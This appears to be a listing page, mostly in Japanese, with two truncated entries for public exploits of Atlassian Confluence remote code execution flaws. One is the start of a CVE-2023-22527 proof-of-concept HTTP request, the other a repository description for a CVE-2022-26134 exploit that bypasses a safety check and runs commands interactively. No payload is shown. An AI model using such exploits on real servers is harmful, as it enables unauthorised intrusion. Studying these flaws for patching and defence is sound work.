CVE-2023-22527

CVE-2023-22527 Atlassian Confluence - リモートコード実行 CVE-2023-22527 Poc POST /template/aui/text-inline.vm HTTP/1.1 Host: localhost:8090 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML, like Gecko Chrome/119.0.6045.159 Safari/537.36 Content-Type:...

cve-2022-26134

CVE-2022-26134 CVE-2022-26134 の実装 このリポジトリには、CVE-2022-26134 のエクスプロイトの実装が含まれています。ここで実装されているバージョンは、 7.18.0 などのバージョンの isSafeExpression チェックをバイパスします。 このエクスプロイトは、次の 2 つのモードで実行できます: 1 つ目のモードでは、一度に 1 つのコマンドを実行できます: python3 cve-2022-26134.py このモードは、コマンドが成功した場合はその出力を返し、成功しなかった場合は空行を表示します。 2 つ目のモードは対話モードです:...